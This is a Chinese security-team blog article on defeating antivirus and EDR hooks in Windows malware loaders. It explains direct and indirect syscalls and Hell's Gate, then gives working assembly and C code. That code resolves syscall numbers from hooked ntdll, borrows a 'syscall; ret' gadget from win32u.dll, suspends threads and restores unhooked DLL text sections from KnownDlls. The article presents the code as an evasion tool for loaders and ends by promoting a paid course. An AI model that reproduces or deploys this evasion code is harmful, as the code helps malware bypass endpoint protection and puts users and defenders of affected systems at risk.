【文末红包】Syscall免杀的高阶对抗
2024-7-11 15:30:37 Author: mp.weixin.qq.com(查看原文) 阅读量:14 收藏

微信公众号:渊龙Sec安全团队
为国之安全而奋斗,为信息安全而发声!
如有问题或建议,请在公众号后台留言
如果你觉得本文对你有帮助,欢迎在文章底部赞赏我们

1# 免杀现状概述

从现在杀软对抗的角度和技术来讲,syscall 可以说是 loader 中一个不可缺少的技术。为什么 syscall 逐渐成为主流?

很早之前杀软其实只会对 kernel32 中一些函数进行 hook,所以恶意程序开发者使用 ntdll 中的函数去实现 loader 的免杀效果是远高于直接或者间接使用 kernel32 中的函数,比如 VirtualAlloc 之类的函数。

我们又不能直接通过动态调用的方式的去加载 ntdll 中的函数,原因是调用链比较明显(使用 GetModuleHandleGetProcAddress)。

随着时代的进步,逐渐有人创造间接调用这个概念,也就是我们现在熟悉的地狱之门,当然这里我们不再去深度讨论一些关于地狱之门之类的话题。

当然俗话说的好,魔高一尺道高一丈,杀软也已经开始 hook ntdll 了,当然目前来说r3hook 杀软已经不再是主流,像卡巴已经移除了 r3 层的 hook

注明:本文中的 Syscall 调用适用于任意版本Windows系统,只支持x64系统。

2# Syscall由浅入深

知己知彼,百战不殆。只有深入了解执行架构的相关原理,才能更好的理清楚思路做好免杀。

在Windows系统中,调用 syscalls 充当程序与系统交互的接口,使它们能够请求特定服务,例如读取或写入文件、创建新进程或分配内存。

例如:当调用 WinAPIs 函数时会触发 NtAllocateVirtualMemory 系统调用。然后,此 syscall 将用户在上一个函数调用中提供的参数移动到 Windows内核,执行请求的操作并将结果返回给程序。

所有系统调用都会返回一个指示代码的NTSTATUS 值,如果系统调用成功执行操作,则返回(零)STATUS_SUCCESS

参考链接:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55

大多数系统调用都没有在 Microsoft 中记录,因此系统调用模块将参考下面显示的文档:

  • Undocumented NTinternals:http://undocumented.ntinternals.net/

  • ReactOS's NTDLL Reference:https://doxygen.reactos.org/dir_a7ad942ac829d916497d820c4a26c555.html

2.1 NTDLL 和系统调用

大多数系统调用都是从 ntdll.dll DLL导出的。

2.2 Zw 与 Nt 系统调用

有两种类型的系统调用,一种以 开头Nt,另一种以 开头Zw

  • NT 系统调用是用户模式程序的主要接口,这些是大多数 Windows 程序通常使用的系统调用。

  • Zw 系统调用是操作系统的低级内核模式接口,它们通常由设备驱动程序和其他需要直接访问操作系统功能的内核模式代码使用。

总而言之,Zw 系统调用在设备驱动程序开发中用于内核模式,而Nt 系统调用则从用户模式程序执行。

虽然可以从用户模式程序中使用两者,但仍然可以实现相同的结果。这可以在下图中注意到,其中同一系统调用的Zw和Nt版本共享相同的函数地址。

2.3 Syscall 结构

系统调用结构通常是相同的,看起来像下面显示的代码片段。

mov r10, rcx
mov eax, SSN
syscall

例如,NtAllocateVirtualMemory 在64位系统上如下所示:

如下 NtProtectVirtualMemory 所示:

2.4 NtAPI调用说明

需要注意,并非所有 NtAPI 都是系统调用!

需要注意的是,虽然某些 NtAPI 返回 NTSTATUS,但它们不一定是系统调用。

这些 NtAPI 可能是 WinAPI 或系统调用使用的低级函数。某些 NtAPI 不属于系统调用的原因,是它们不符合系统调用的结构。

例如没有系统调用编号或 mov r10, rcx 开头缺少通常的指令。下面显示了非系统调用的 NtAPI 的示例:

  • LdrLoadDll - WinAPI 使用它 LoadLibrary 来将图像加载到调用进程。

  • SystemFunction032 并且 SystemFunction033 这些 NtAPI 是之前引入的,并执行 RC4 加密/解密操作。

  • RtlCreateProcessParametersEx - WinAPI 使用它 CreateProcess 来创建进程的参数。

加载动态链接库

LdrLoadDll 的指令如下所示。请注意,它不遵循典型的系统调用结构:

2.5 绕过用户空间系统调用钩子

直接使用系统调用是绕过用户空间钩子的一种方法。例如,在为有效载荷分配内存时使用 NtAllocateVirtualMemory 而不是 WinAPI

  • 使用直接系统调用

  • 使用间接系统调用

  • 解钩(脱钩)

3# 直接和间接系统调用

3.1 直接系统调用

通过获取用汇编语言编写的 syscall 函数版本,并直接从汇编文件中调用该精心设计的
syscall,可以实现对用户空间 syscall 挂钩的规避。

难点在于确定 syscall 服务编号(SSN),因为该编号因系统而异。为了克服这个问题,SSN 可以硬编码在汇编文件中,也可以在运行时动态计算。

以下 .asm 文件介绍了汇编文件中精心设计的 syscall 示例。

不同于本课程中之前所做的 NtAllocateVirtualMemory 使用 GetProcAddress 和进行调用 GetModuleHandle,下面的汇编函数可用于获得相同的结果。这样就无需 NtAllocateVirtualMemory 从安装钩子的 NTDLL 地址空间内进行调用,从而避免了钩子。

NtAllocateVirtualMemory PROC
    mov r10, rcx
    mov eax, (ssn of NtAllocateVirtualMemory)
    syscall
    ret
NtAllocateVirtualMemory ENDP

NtProtectVirtualMemory PROC
    mov r10, rcx
    mov eax, (ssn of NtProtectVirtualMemory)
    syscall
    ret
NtProtectVirtualMemory ENDP

// other syscalls ...

此方法被SysWhispers和HellsGate等工具所采用,这两个工具将在后续模块中讨论:

  • SysWhispers:https://github.com/jthuraisamy/SysWhispers

  • HellsGate:https://github.com/am0nsec/HellsGate

3.2 间接系统调用

间接系统调用的实现方式与直接系统调用类似,后者必须先手动编写汇编文件。

两者的区别在于,汇编 syscall 函数中没有指令,而是直接跳转到该指令。下图显示了一个直观的表示:

NtAllocateVirtualMemory 和的汇编函数 NtProtectVirtualMemory 如下所示:

NtAllocateVirtualMemory PROC
    mov r10, rcx
    mov eax, (ssn of NtAllocateVirtualMemory)
    jmp (address of a syscall instruction)
    ret
NtAllocateVirtualMemory ENDP

NtProtectVirtualMemory PROC
    mov r10, rcx
    mov eax, (ssn of NtProtectVirtualMemory)
    jmp (address of a syscall instruction)
    ret
NtProtectVirtualMemory ENDP

// other syscalls ...

间接系统调用的好处

执行间接系统调用而非直接系统调用的好处是:安全解决方案会查找从 NTDLL 地址空间之外调用的系统调用,并将其视为可疑系统调用。

使用间接系统调用时,系统调用指令会从 NTDLL 的地址空间执行,就像正常的系统调用一样。

因此,与直接系统调用相比,间接系统调用更容易躲过安全解决方案的检查。

3.3 解钩(脱钩)

解除挂钩是另一种逃避挂钩的方法,即将加载到内存中的挂钩 NTDLL 库替换为未挂钩的版本。

可以从多个地方获取未挂钩的版本,但常用方法之一是直接从磁盘加载。这样做将删除放置在 NTDLL 库内的所有挂钩。

4# 优缺点总结和利用代码

4.1 Syscall的优点

优势就笔者个人的经验来说,使用某特别的方式间接调用 nt函数,杀软没法直接或者快速查询你的函数使用。

但这里我们其实不能说你使用的所有 nt 函数或者操作行为就是安全的,比如注入这种在 loader 中我个人是不太喜欢的使用的,行为过于明显。

4.2 Syscall的缺点

劣势也是非常的明显,在不 unhook r3 层,你的 nt 函数使用依旧是受到杀软监管的,当然让笔者认为最大的劣势还是在于调用链的不够完整。

这个所谓的调用链不够完整是什么意思,打个比方,我们在使用 VirtualAlloc 函数的时候,它的调用链是从 kernel32kernelbase 最后到 ntdll,最后使用 NtAllocateVirtualMemory,简而言之就是加载的底层函数是 NtAllocateVirtualMemory

如果我们使用市面上大部分的间接调用技术我们的调用将会直接的跳过 kernel32kernelbase,直接走到 ntdll 当中。这就会让杀软认为你的函数调用链存在差异,当然这种调用链的缺失并不是所有杀软的都会特别在意或者成为立即查杀你的原因,但为了能更长期的稳定运行,我们或许可以尝试伪造一个完整的调用链,接下来我们会实现 unhook 以及尝试构造一个伪链来帮我们处理 syscall

4.3 原理讲解

我们这里暂不深入讨论内存存根的问题,从 \KnwonDlls\ 目录 unhook 并不是绕过 r3 hook 的新方法。但是我们会尝试避免在执行此操作时分配 RWX 内存。

例如其中需要 RWX 权限来替换挂钩模块的文本部分,同时允许执行这些文本部分中的函数,我们将先暂停正在运行的线程,试图阻止从目标文本部分中调用任何函数,从而无需在 unhook 之前将它们设置为 RWX ,从而只需要 RW 权限。

但是,这种方法产生了另一个问题;在 unhook NtProtectVirtualMemory 系统调用和其他系统调用使用 ntdll 模块内的系统调用指令作为间接系统调用方法,unhook 的模块将被标记为 RW 权限,因此无法执行间接系统调用。

因为我们要跳转到的系统调用指令现在无法执行,所以我们必须跳转到另一个可执行位置,那么我们可以尝试在 system32 下面寻找一个可作为跳板的dll来实现这个,这里我们选择 win32u.dll/win32u.dll存在一些最终同样使用 nt函数的基础函数,基础函数你可理解为类似于 VirtualAlloc 这样的函数。当我们完成一些列的操作之后,我们将恢复暂停的线程,并实现我们的目的 uhook 加间接调用。

4.4 利用代码细节

汇编代码如下:

.data
    dwSyscallNumber        DWORD   0h          ; the SSn 
    qSyscallInsAddress    QWORD   0h          ; the address of a "syscall; ret;" instruction 

.code

    public SetConfig
SetConfig proc    
    mov dwSyscallNumber, ecx
    mov qSyscallInsAddress, rdx            
    ret
SetConfig endp

    public HellHall
HellHall proc
    mov r10, rcx
    mov eax, dwSyscallNumber                 
    jmp qword ptr [qSyscallInsAddress]        
    ret
HellHall endp

end

第一步,加载 shell32.dllSHGetFolderPathW 会强制加载 win32u.dll,无需我们直接加载:

HRESULT AddWin32uToIat()
{
    WCHAR szPath[MAX_PATH] = { 0 };
    return SHGetFolderPathW(NULL, CSIDL_MYVIDEO, NULLNULL, szPath);
}

第二步,初始化我们的 syscall 方法并通过 peb 找到 ntdll,并检查是否被hook

BOOL InitilizeNtdllConfig() {
    //  CHECK
    if (NtdllSt.pdwArrayOfFunctions != NULL && NtdllSt.pdwArrayOfNames != NULL && NtdllSt.pwArrayOfOrdinals != NULL)
        return TRUE;
    PPEB                    pPeb = NULL;
    PLDR_DATA_TABLE_ENTRY   pDte = NULL;
    PBYTE                   uNtdll = NULL;

    RtlSecureZeroMemory(&NtdllSt, sizeof(NTDLL));

    //  PEB
    pPeb = (PPEB)__readgsqword(0x60);
    if (pPeb == NULL || pPeb->OSMajorVersion != 0xA)
        return FALSE;

    //  NTDLL
    pDte = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
    if (!pDte)
        return FALSE;

    NtdllSt.pNtdll = uNtdll = pDte->DllBase;

    //  DOS
    NtdllSt.pImgDos = (PIMAGE_DOS_HEADER)uNtdll;
    if (NtdllSt.pImgDos->e_magic != IMAGE_DOS_SIGNATURE)
        return FALSE;

    //  NT
    NtdllSt.pImgNtHdrs = (PIMAGE_NT_HEADERS)(uNtdll + NtdllSt.pImgDos->e_lfanew);
    if (NtdllSt.pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
        return FALSE;

    //  EXPORT
    NtdllSt.pImgExpDir = (PIMAGE_EXPORT_DIRECTORY)(uNtdll + NtdllSt.pImgNtHdrs->OptionalHeader.DataDirectory[0].VirtualAddress);
    if (!NtdllSt.pImgExpDir || !NtdllSt.pImgExpDir->Base)
        return NULL;

    //  ARRAYS
    NtdllSt.pdwArrayOfFunctions = (PDWORD)(uNtdll + NtdllSt.pImgExpDir->AddressOfFunctions);
    NtdllSt.pdwArrayOfNames        = (PDWORD)(uNtdll + NtdllSt.pImgExpDir->AddressOfNames);
    NtdllSt.pwArrayOfOrdinals    = (PWORD)(uNtdll + NtdllSt.pImgExpDir->AddressOfNameOrdinals);

    //  CHECK
    if (!NtdllSt.pdwArrayOfFunctions || !NtdllSt.pdwArrayOfNames || !NtdllSt.pwArrayOfOrdinals)
        return FALSE;

    return TRUE;
}

BOOL InitilizeSysFunc(IN DWORD dwSysFuncHash, OUT PSYSCALL pSyscall)
{

    if (!dwSysFuncHash || (!NtdllSt.pNtdll && !InitilizeNtdllConfig()))
        return FALSE;

    for (DWORD i = 0; i < NtdllSt.pImgExpDir->NumberOfFunctions; i++) {

        CHAR* cFuncName = (CHAR*)(NtdllSt.pdwArrayOfNames[i] + NtdllSt.pNtdll);

        if (HASHb(cFuncName) == dwSysFuncHash)
        {
            pSyscall->dwSysFuncHash     = dwSysFuncHash;
            pSyscall->pSyscallAddress   = (PVOID)(NtdllSt.pdwArrayOfFunctions[NtdllSt.pwArrayOfOrdinals[i]] + NtdllSt.pNtdll);

            if (*((PBYTE)pSyscall->pSyscallAddress) == 0x4c
                && *((PBYTE)pSyscall->pSyscallAddress + 1) == 0x8b
                && *((PBYTE)pSyscall->pSyscallAddress + 2) == 0xd1
                && *((PBYTE)pSyscall->pSyscallAddress + 3) == 0xb8
                && *((PBYTE)pSyscall->pSyscallAddress + 6) == 0x00
                && *((PBYTE)pSyscall->pSyscallAddress + 7) == 0x00) {
                BYTE high = *((PBYTE)pSyscall->pSyscallAddress + 5);
                BYTE low = *((PBYTE)pSyscall->pSyscallAddress + 4);
                pSyscall->dwSyscallNumber = (high << 8) | low;
                break;
            }

            //if hooked check the neighborhood to find clean syscall 1
            if (*((PBYTE)pSyscall->pSyscallAddress) == 0xe9) {
                for (WORD idx = 1; idx <= 500; idx++) {
                    // check neighboring syscall down
                    if (*((PBYTE)pSyscall->pSyscallAddress + idx * DOWN) == 0x4c
                        && *((PBYTE)pSyscall->pSyscallAddress + 1 + idx * DOWN) == 0x8b
                        && *((PBYTE)pSyscall->pSyscallAddress + 2 + idx * DOWN) == 0xd1
                        && *((PBYTE)pSyscall->pSyscallAddress + 3 + idx * DOWN) == 0xb8
                        && *((PBYTE)pSyscall->pSyscallAddress + 6 + idx * DOWN) == 0x00
                        && *((PBYTE)pSyscall->pSyscallAddress + 7 + idx * DOWN) == 0x00) {
                        BYTE high = *((PBYTE)pSyscall->pSyscallAddress + 5 + idx * DOWN);
                        BYTE low = *((PBYTE)pSyscall->pSyscallAddress + 4 + idx * DOWN);
                        pSyscall->dwSyscallNumber = (high << 8) | low - idx;
                        break;
                    }
                    // check neighboring syscall up
                    if (*((PBYTE)pSyscall->pSyscallAddress + idx * UP) == 0x4c
                        && *((PBYTE)pSyscall->pSyscallAddress + 1 + idx * UP) == 0x8b
                        && *((PBYTE)pSyscall->pSyscallAddress + 2 + idx * UP) == 0xd1
                        && *((PBYTE)pSyscall->pSyscallAddress + 3 + idx * UP) == 0xb8
                        && *((PBYTE)pSyscall->pSyscallAddress + 6 + idx * UP) == 0x00
                        && *((PBYTE)pSyscall->pSyscallAddress + 7 + idx * UP) == 0x00) {
                        BYTE high = *((PBYTE)pSyscall->pSyscallAddress + 5 + idx * UP);
                        BYTE low = *((PBYTE)pSyscall->pSyscallAddress + 4 + idx * UP);
                        pSyscall->dwSyscallNumber = (high << 8) | low + idx;
                        break;
                    }

                }
                break;
            }

            //if hooked check the neighborhood to find clean syscall 2
            if (*((PBYTE)pSyscall->pSyscallAddress + 3) == 0xe9) {
                for (WORD idx = 1; idx <= 500; idx++) {
                    // check neighboring syscall down
                    if (*((PBYTE)pSyscall->pSyscallAddress + idx * DOWN) == 0x4c
                        && *((PBYTE)pSyscall->pSyscallAddress + 1 + idx * DOWN) == 0x8b
                        && *((PBYTE)pSyscall->pSyscallAddress + 2 + idx * DOWN) == 0xd1
                        && *((PBYTE)pSyscall->pSyscallAddress + 3 + idx * DOWN) == 0xb8
                        && *((PBYTE)pSyscall->pSyscallAddress + 6 + idx * DOWN) == 0x00
                        && *((PBYTE)pSyscall->pSyscallAddress + 7 + idx * DOWN) == 0x00) {
                        BYTE high = *((PBYTE)pSyscall->pSyscallAddress + 5 + idx * DOWN);
                        BYTE low = *((PBYTE)pSyscall->pSyscallAddress + 4 + idx * DOWN);
                        pSyscall->dwSyscallNumber = (high << 8) | low - idx;
                        break;
                    }
                    // check neighboring syscall up
                    if (*((PBYTE)pSyscall->pSyscallAddress + idx * UP) == 0x4c
                        && *((PBYTE)pSyscall->pSyscallAddress + 1 + idx * UP) == 0x8b
                        && *((PBYTE)pSyscall->pSyscallAddress + 2 + idx * UP) == 0xd1
                        && *((PBYTE)pSyscall->pSyscallAddress + 3 + idx * UP) == 0xb8
                        && *((PBYTE)pSyscall->pSyscallAddress + 6 + idx * UP) == 0x00
                        && *((PBYTE)pSyscall->pSyscallAddress + 7 + idx * UP) == 0x00) {
                        BYTE high = *((PBYTE)pSyscall->pSyscallAddress + 5 + idx * UP);
                        BYTE low = *((PBYTE)pSyscall->pSyscallAddress + 4 + idx * UP);
                        pSyscall->dwSyscallNumber = (high << 8) | low + idx;
                        break;
                    }
                }
                break;
            }
        }
    }

    if (!pSyscall->pSyscallAddress || !pSyscall->dwSyscallNumber)
        return FALSE;

    return SearchForRop(&pSyscall->pSyscallInstAddress);
}

BOOL SearchForRop(OUT PVOID* ppRopAddress) {

    PPEB                    pPeb = (PEB*)(__readgsqword(0x60));
    PPEB_LDR_DATA            pLdr = (PPEB_LDR_DATA)(pPeb->LoaderData);
    PLDR_DATA_TABLE_ENTRY    pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink);
    // 'i' is used to skip over the local image and ntdll image
    unsigned int            i = 0;

    while (pDte) {

        if (pDte->FullDllName.Length != NULL) {
            // define 'SEARCH_ALL_DLLS' to search all the loaded modules - not recommended tho
            // cuz if an ROP is found outside of win32udll, it will be an RW .text section (will be done later when unhooking), 
            // and thus the process will crash
#ifdef SEARCH_ALL_DLLS
            if (i >= 2) {
#else        
            // search only in 'win32udll' because its the only module to be RX when unhooking
            if (HASHb(pDte->FullDllName.Buffer) == win32udll_CRC32b || HASHb(pDte->FullDllName.Buffer) == WIN32UDLL_CRC32b) {
#endif // SEARCH_ALL

#ifdef DEBUG
                PRINTW(L">>> Searching in \"%s\" ... \n", pDte->FullDllName.Buffer)
#endif // DEBUG
                ULONG_PTR uModule = (ULONG_PTR)pDte->InInitializationOrderLinks.Flink;
                PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)uModule;
                if (pDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
                    return FALSE;
                PIMAGE_NT_HEADERS pNtHdrs = (PIMAGE_NT_HEADERS)(uModule + pDosHdr->e_lfanew);
                if (pNtHdrs->Signature != IMAGE_NT_SIGNATURE)
                    return FALSE;

                // search only in the text section, where we have RX permissions
                PVOID    pTxtSection = (PVOID)(uModule + pNtHdrs->OptionalHeader.BaseOfCode);
                SIZE_T    sTextSize   = (SIZE_T)pNtHdrs->OptionalHeader.SizeOfCode;

                // searching for
                // <syscall>
                // <ret>    
                // instructions
                for (size_t j = 0; j < sTextSize; j++) {
                    if (*((PBYTE)pTxtSection + j) == 0x0F && *((PBYTE)pTxtSection + j + 1) == 0x05 && *((PBYTE)pTxtSection + j + 2) == 0xC3) {
#ifdef DEBUG
                        PRINTA("\t[+] Found \"syscall; ret\" gadget At - 0x%p \n", ((PBYTE)pTxtSection + j))
#endif // DEBUG
                        *ppRopAddress = (PVOID)((PBYTE)pTxtSection + j);
                        return TRUE;
                    }
                }
            }

        }
        else {
            break;
        }
        pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
        i++;
    }

    if (*ppRopAddress == NULL)
        return FALSE;
    else
        return TRUE;
}

第三步,通过 peb 自实现 GetModuleHandleGetProcAddress 这里不给出代码。
第四步,直接进行 unhook

BOOL RefreshAllDlls() {

#if _WIN64
    PPEB pPeb = (PPEB)__readgsqword(0x60);
#else
    PPEB pPeb = NULL;
#endif

    if (pPeb == NULL || (pPeb != NULL && pPeb->OSMajorVersion != 0xA)) {
        return FALSE;
    }

    PLIST_ENTRY        Head                    = NULL,
                    Next                    = NULL;
    NTSTATUS        STATUS                  = NULL;
    LPVOID            KnownDllDllModule       = NULL,
                    CurrentDllModule        = NULL;
    PVOID            pLocalTxtAddress        = NULL,
                    pRemoteTxtAddress        = NULL;
    SIZE_T            sLocalTxtSize           = NULL;
    DWORD            dwOldPermission         = NULL;

    Head = &pPeb->LoaderData->InMemoryOrderModuleList;
    // skipping the local image, because we know its not in \KnownDlls\ folder 
    Next = Head->Flink->Flink;

    // suspending all local threads, to prevent executing RW memory
    if (!SuspendAndResumeLocalThreads(SUSPEND_THREADS))
        return FALSE;

    // loop through all dlls:
    while (Next != Head) {

        // getting the dll name:
        PLDR_DATA_TABLE_ENTRY    pLdrData = (PLDR_DATA_TABLE_ENTRY)((PBYTE)Next - offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks));
        PUNICODE_STRING            DllName = (PUNICODE_STRING)((PBYTE)&pLdrData->FullDllName + sizeof(UNICODE_STRING));

        // if not win32u.dll, bcz our rop gadgets are in 'win32u.dll' (and we need to keep it RX)
        if (HASHb(DllName->Buffer) != win32udll_CRC32b && HASHb(DllName->Buffer) != WIN32UDLL_CRC32b) {
            // getting the dll's handle from \KnownDlls\ : in case it returned null, that's ok, cz the dll may not be in KnownDlls after all ...
            KnownDllDllModule = GetDllFromKnownDll(DllName->Buffer);
            CurrentDllModule = (LPVOID)(pLdrData->DllBase);

            // if we had the dll mapped with a valid address from KnownDlls:
            if (KnownDllDllModule != NULL && CurrentDllModule != NULL) {
                // get the dos & nt headers of our local dll
                PIMAGE_DOS_HEADER CurrentDllImgDosHdr = (PIMAGE_DOS_HEADER)CurrentDllModule;
                if (CurrentDllImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE) {
                    return FALSE;
                }
                PIMAGE_NT_HEADERS CurrentDllImgNtHdr = (PIMAGE_NT_HEADERS)((PBYTE)CurrentDllModule + CurrentDllImgDosHdr->e_lfanew);
                if (CurrentDllImgNtHdr->Signature != IMAGE_NT_SIGNATURE) {
                    return FALSE;
                }
                // get the address of the module's txt section & its size & calculate the knowndll txt section address
                for (int i = 0; i < CurrentDllImgNtHdr->FileHeader.NumberOfSections; i++) {
                    PIMAGE_SECTION_HEADER pImgSec = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(CurrentDllImgNtHdr) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
                    if ((*(ULONG*)pImgSec->Name | 0x20202020) == 'xet.') {
                        sLocalTxtSize = pImgSec->Misc.VirtualSize;
                        pLocalTxtAddress = (PVOID)((ULONG_PTR)CurrentDllModule + pImgSec->VirtualAddress);
                        pRemoteTxtAddress = (PVOID)((ULONG_PTR)KnownDllDllModule + pImgSec->VirtualAddress);
                    }
                }
                // small check here ...
                if (sLocalTxtSize == NULL || pLocalTxtAddress == NULL || pRemoteTxtAddress == NULL) {
                    return FALSE;
                }

                // if both have the same bytes, its a valid text section
                if (*(ULONG_PTR*)pLocalTxtAddress != *(ULONG_PTR*)pRemoteTxtAddress)
                    return FALSE;

                PVOID         pAddress   = pLocalTxtAddress;
                SIZE_T         sSize      = sLocalTxtSize;

#ifdef DEBUG
                PRINTW(L"\n[i] Replacing .txt of %s ... ", DllName->Buffer);
                PRINTA("\n\t> pLocalTxtAddress : 0x%p \n\t> pRemoteTxtAddress : 0x%p \n", pLocalTxtAddress, pRemoteTxtAddress);

#endif // DEBUG
                INITIALIZE_SYSCALL(NTAPIs.NtProtectVirtualMemory);
                if (!NT_SUCCESS((STATUS = HellHall((HANDLE)-1, &pAddress, &sSize, PAGE_READWRITE, &dwOldPermission)))) {
#ifdef DEBUG
                    PRINTA("[!] NtProtectVirtualMemory [1] Failed With Status : 0x%0.8X (Unhook.c:262)\n", STATUS);
#endif // DEBUG
                    return FALSE;
                }

                _memcpy(pLocalTxtAddress, pRemoteTxtAddress, sLocalTxtSize);

                INITIALIZE_SYSCALL(NTAPIs.NtProtectVirtualMemory);
                if (!NT_SUCCESS((STATUS = HellHall((HANDLE)-1, &pAddress, &sSize, dwOldPermission, &dwOldPermission)))) {
#ifdef DEBUG
                    PRINTA("[!] NtProtectVirtualMemory [2] Failed With Status : 0x%0.8X (Unhook.c:272)\n", STATUS);
#endif // DEBUG
                    return FALSE;
                }

                // unmap the KnownDlls dll
                INITIALIZE_SYSCALL(NTAPIs.NtUnmapViewOfSection);
                if (!NT_SUCCESS((STATUS = HellHall(NtCurrentProcess(), KnownDllDllModule)))) {
#ifdef DEBUG
                    PRINTA("[!] NtUnmapViewOfSection Failed With Status : 0x%0.8X (Unhook.c:282)\n", STATUS);
#endif // DEBUG
                    return FALSE;
                }

#ifdef DEBUG
                PRINTA("[+] DONE \n");
#endif // DEBUG

            }

        }

        // continue to the next dll ...
        Next = Next->Flink;
    }

    // resuming all local threads
    if (!SuspendAndResumeLocalThreads(RESUME_THREADS))
        return FALSE;

    return TRUE;
}

BOOL SuspendAndResumeLocalThreads(enum THREADS State) {

    // small trick ;)
    DWORD                        dwCurrentProcessId      = __readgsqword(0x40); 
    DWORD                        dwRunningThread         = __readgsqword(0x48);
    HANDLE                        hSnapShot               = INVALID_HANDLE_VALUE,
                                hThread                    = 0x00;
    NTSTATUS                    STATUS                  = 0x00;
    THREADENTRY32                Thr32                   = { .dwSize = sizeof(THREADENTRY32) };
    OBJECT_ATTRIBUTES            ObjAttr                 = { 0 };
    CLIENT_ID                    ClientId                = { 0 };

#ifdef DEBUG
    PRINTA("\n");
#endif // DEBUG

    hSnapShot = WINAPIs.pCreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
    if (hSnapShot == INVALID_HANDLE_VALUE) {
#ifdef DEBUG
        PRINTA("[!] CreateToolhelp32Snapshot Failed With Error : %d (Unhook.c:59)\n", GetLastError());
#endif // DEBUG
        WINAPIs.pCloseHandle(hSnapShot);
        return FALSE;
    }

    if (!WINAPIs.pThread32First(hSnapShot, &Thr32)) {
#ifdef DEBUG
        PRINTA("[!] Thread32First Failed With Error : %d (Unhook.c:68)\n", GetLastError());
#endif // DEBUG
        WINAPIs.pCloseHandle(hSnapShot);
        return FALSE;
    }

    do {
        if (Thr32.th32OwnerProcessID == dwCurrentProcessId && Thr32.th32ThreadID != dwRunningThread) {

            InitializeObjectAttributes(&ObjAttr, NULLNULLNULLNULL);

            ClientId.UniqueProcess    = (PVOID)Thr32.th32OwnerProcessID;
            ClientId.UniqueThread    = (PVOID)Thr32.th32ThreadID;

            INITIALIZE_SYSCALL(NTAPIs.NtOpenThread);
            if (!NT_SUCCESS((STATUS = HellHall(&hThread, GENERIC_ALL, &ObjAttr, &ClientId)))) {
#ifdef DEBUG
                PRINTA("[!] NtOpenThread Failed With Status : 0x%0.8X (Unhook.c:85)\n", STATUS);
#endif // DEBUG
            }

            if (State == SUSPEND_THREADS) {
#ifdef DEBUG
                PRINTA("\t\t>>> Suspending Thread Of Id : %d ... ", Thr32.th32ThreadID);
#endif // DEBUG

                INITIALIZE_SYSCALL(NTAPIs.NtSuspendThread);
                if (hThread && !NT_SUCCESS(STATUS = HellHall(hThread, NULL))){
#ifdef DEBUG
                    PRINTA("[!] NtSuspendThread Failed With Status : 0x%0.8X (Unhook.c:97)\n", STATUS);
#endif // DEBUG
                }
#ifdef DEBUG
                PRINTA("[+] DONE \n");
#endif // DEBUG

            }

            if (State == RESUME_THREADS) {
#ifdef DEBUG
                PRINTA("\t\t>>> Resuming Thread Of Id : %d ... ", Thr32.th32ThreadID);
#endif // DEBUG
                INITIALIZE_SYSCALL(NTAPIs.NtResumeThread);
                if (hThread && !NT_SUCCESS(STATUS = HellHall(hThread, NULL))) {
#ifdef DEBUG
                    PRINTA("[!] NtResumeThread Failed With Status : 0x%0.8X (Unhook.c:113)\n", STATUS);
#endif // DEBUG
                }
#ifdef DEBUG
                PRINTA("[+] DONE \n");
#endif // DEBUG
            }

            INITIALIZE_SYSCALL(NTAPIs.NtClose);
            if (hThread != NULL)
                HellHall(hThread);

        }

    } while (WINAPIs.pThread32Next(hSnapShot, &Thr32));

#ifdef DEBUG
    PRINTA("\n");
#endif // DEBUG

    WINAPIs.pCloseHandle(hSnapShot);
    return TRUE;
}

LPVOID GetDllFromKnownDll(IN PWSTR DllName) {

    PVOID                pModule                 = 0x00;
    HANDLE                hSection                = 0x00;
    NTSTATUS            STATUS                  = 0x00;
    SIZE_T                ViewSize                = 0x00;
    UNICODE_STRING        UniStr                  = { 0 };
    OBJECT_ATTRIBUTES    ObjAtr                  = { 0 };
    WCHAR                FullName    [MAX_PATH]  = { 0 };
    WCHAR                Buf         [MAX_PATH]  = { L'\\', L'K', L'n', L'o', L'w', L'n', L'D', L'l', L'l', L's', L'\\' };

    _strcpy(FullName, Buf);
    _strcat(FullName, DllName);
    _RtlInitUnicodeString(&UniStr, FullName);
    InitializeObjectAttributes(&ObjAtr, &UniStr, OBJ_CASE_INSENSITIVE, NULL, NULL);

    INITIALIZE_SYSCALL(NTAPIs.NtOpenSection);
    if (!NT_SUCCESS((STATUS = HellHall(&hSection, SECTION_MAP_READ, &ObjAtr)))) {
#ifdef DEBUG
        PRINTW(L"[!] NtOpenSection Failed For \"%s\" With Status : 0x%0.8X [THAT'

S PROB OK]\n", FullName, STATUS);
#endif // DEBUG
        return NULL;
    }

    INITIALIZE_SYSCALL(NTAPIs.NtMapViewOfSection);
    if (!NT_SUCCESS((STATUS = HellHall(hSection, NtCurrentProcess(), &pModule, NULL, NULL, NULL, &ViewSize, ViewShare, NULL, PAGE_READONLY)))) {
#ifdef DEBUG
        PRINTW(L"

[!] NtMapViewOfSection Failed For \"%s\" With Status : 0x%0.8X (Unhook.c:168)\n", FullName, STATUS);
#endif // DEBUG
        return NULL;
    }

    return pModule;
}

到此为止我们实现了 unhook 加伪造的 syscall 调用链的整体利用。

参考代码和项目:https://github.com/NUL0x4C/AtomLdr


相信能看到这里,也是我们团队的老粉了,感谢各位师傅一直以来的关注和支持~

这里给大家安利一套课程,就是本文作者进行手把手教学的,课程内容非常不错,【曾哥认证(逃】,课程的大纲如下:

如果感兴趣,欢迎加微信 djeijek 进行咨询,先到的师傅有优惠哦~

我是凝,我在渊龙Sec安全团队等你
微信公众号:渊龙Sec安全团队
欢迎关注我,一起学习,一起进步~
本篇文章为团队成员原创文章,请不要擅自盗取!


